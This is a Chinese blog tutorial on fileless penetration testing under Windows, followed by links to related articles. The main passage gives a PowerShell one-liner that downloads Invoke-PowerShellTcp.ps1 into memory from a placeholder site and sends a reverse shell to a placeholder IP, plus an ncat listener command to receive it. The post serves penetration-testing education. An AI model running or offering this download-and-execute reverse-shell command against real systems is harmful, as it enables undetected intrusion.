无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生。说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将payloads直接注入正在运行程序的内存,导致恶意软件直接在系统内存中执行,也让专家很难在系统重启之后找到此恶意软件的踪迹。

在日常的渗透测试中,如果使用无文件渗透,那么也同样可以保证在执行恶意测试程序时没有任何的文件落地,直接加载到内存中执行,本文分为两篇,将分别针对windows和linux系统分别简单介绍下如何进行无文件渗透测试实战。

首先我们要确定下我们在什么情况下会到使用无文件渗透的这个地步:

1、存在命令执行相关漏洞,可直接执行系统命令

2、通过其他漏洞已经进入测试目标并且可以执行一些系统命令

实际上在理解了命令执行的原理并且保证漏洞可以执行任意系统命令后,我们可以直接在命令行的操作模拟命令执行漏洞利用的操作,所以不要介意为什么说是利用漏洞来进行无文件渗透测试但图里面确实直接在命令行的操作。

在windows下,一般通过远程加载powershell脚本来进行,接下来测试加载某ps1脚本至内存来反弹系统shell(用户会话),测试脚本名为Invoke-PowerShellTcp.ps1,脚本内容不给出,仅做无文件渗透测试样例使用,具体利用方式如下:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://testwebsite/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x(测试人员远端主机ip) -port x(测试人员远端主机端口)

为了接收反弹的会话,我们可以使用ncat(能在两台主机之间建立链接并双向返回数据流)来进行主机间的通信,具体使用如下命令,默认tcp协议:

#nc –vvlp x(测试人员远端主机端口)

当在存在漏洞的测试目标上执行该命令时,内存中加载脚本内容并直接执行,进程中会出现powershell.exe但是并不会有Invoke-PowerShellTcp.ps1落地,执行后在测试人员的远端服务器上可以接收到测试目标的系统shell,分别在测试目标(windows)和测试人员远端主机(linux)执行whoami来确认反弹的系统shell确实为测试目标的会话:

使用进程管理器查看本地是否存在正在运行的powershell进程:

everything查看windows本地是否存在Invoke-PowerShellTcp.ps1文件

作  者:Testfan Covan
出  处:微信公众号:自动化软件测试平台
版权说明:欢迎转载,但必须注明出处,并在文章页面明显位置给出文章链接

渗透测试之无文件渗透简单使用-windows的更多相关文章

  1. 渗透测试之本地文件包含(LFI)

    一.本地文件包含 本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell. 看见?page=标志性注入点,提示我们输入?=pag ...

  2. kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail

    kali渗透测试之缓冲区溢出实例-windows,POP3,SLmail 相关链接:https://www.bbsmax.com/A/xl569l20Jr/ http://4hou.win/wordp ...

  3. 互联网渗透测试之Wireshark的高级应用

    互联网渗透测试之Wireshark的高级应用 1.1说明 在本节将介绍Wireshark的一些高级特性 1.2. "Follow TCP Stream" 如果你处理TCP协议,想要 ...

  4. 渗透测试之BurpSuite工具的使用介绍(三)

    若希望从更早前了解BurpSuite的介绍,请访问第二篇(渗透测试之BurpSuite工具的使用介绍(二)):https://www.cnblogs.com/zhaoyunxiang/p/160002 ...

  5. 【WIN7】windows\system32 下的几乎所有文件的简单说明【2】

    1: System32的详解 C:\WINDOWS\system32... 2:   3: 这个 system32 文件夹中包含了大量的用于 Windows 的文件. 这里主要用于存储 DLL 文件, ...

  6. 【WIN7】windows\system32 下的几乎所有文件的简单说明【1】

    1: aclui.dll .....Security Descriptor Editor,没有它,注册表编缉器会无法运行 2: ACTIVEDS.DLL .....(ADs 路由层 DLL). 没有它 ...

  7. linux无文件执行— fexecve 揭秘

    前言 良好的习惯是人生产生复利的有力助手. 继续2020年的flag,至少每周更一篇文章. 无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux上 ...

  8. Metasploit渗透技巧:后渗透Meterpreter代理

    Metasploit是一个免费的.可下载的渗透测试框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击测试.它本身附带数百个已知软件漏洞的专业级漏洞攻击测试工具. 当H.D. Moore在20 ...

  9. Directx11学习笔记【一】 最简单的windows程序HelloWin

    声明:本系列教程代码有部分来自dx11龙书及dx11游戏编程入门两本书,后面不再说明 首先,在vs2013中创建一个空的解决方案Dx11Demo,以后的工程都会放在这个解决方案下面.然后创建一个win ...

随机推荐

  1. echart地图下钻

    需求:展示中国地图,鼠标点击显示对应的省份 在echart的github上下载需要的 地图文件China.js,各个省份的json文件 遇到的问题:直接在浏览器打开报错,跨域问题,用webstrom打 ...

  2. bootstrap-table 行内编辑

    1.文件引入 <link rel="stylesheet" href="bootstrap.css"> <link rel="sty ...

  3. 使用 QWorker 做为计划任务引擎

    QWorker 提供了 Plan 函数来提供计划任务功能的支持.每个任务做为一个作业,可以在指定的时间点被触发执行.而 cron 作为 Linux 操作系统下计划任务的标准被广大用户所熟知,QWork ...

  4. STM32 ~ 查看系统时钟

    调用库函数RCC_GetClocksFreq,该函数可以返回片上的各种时钟的频率 函数原形 void RCC_GetClocksFreq(RCC_ClocksTypeDef* RCC_Clocks) ...

  5. LVS集群中的IP负载均衡技术

    LVS集群中的IP负载均衡技术 章文嵩 (wensong@linux-vs.org) 转自LVS官方参考资料 2002 年 4 月 本文在分析服务器集群实现虚拟网络服务的相关技术上,详细描述了LVS集 ...

  6. 《unix环境高级编程》学习笔记【原创】

    本文基于unix环境高级编程的学习的笔记,写的比较简如有不对,欢迎指点. 简单的描述下面函数的功能改变ctr+c信号原本的作用终止程序,在按下中断键的时候输出一句话. while循环主要读取用户的输入 ...

  7. Android应用资源---动画资源(Animation Resources)

    有两种类型的动画资源: 属性动画 在设定的时间内,通过修改与Animator类相关的对象的属性值来创建一个动画. 视图动画 有两种类型的视图动画框架 补间动画(Tween animation):通过执 ...

  8. codeforces 463A Caisa and Sugar 解题报告

    题目链接:http://codeforces.com/problemset/problem/463/A 题目意思:某个人有 s dollar的钱,有 n 种类型的糖果,第 i 种糖果的价值为 xi d ...

  9. linux系统配置之PATH环境变量的设置(centos)

    Centos系统下修改环境变量PATH路径的方法 电脑脑中必不可少的就是操作系统.而Linux的发展非常迅速,有赶超微软的趋势.这里介绍Linux的知识,让你学好应用Linux系统.比如要把/etc/ ...

  10. Java笔记(八)

    GUI: awt和swing: java.awt:Abstract Window ToolKit(抽象窗口工具包),需要调用本地系统方法实现功能.属于重量级控件. javax.swing:在awt的基 ...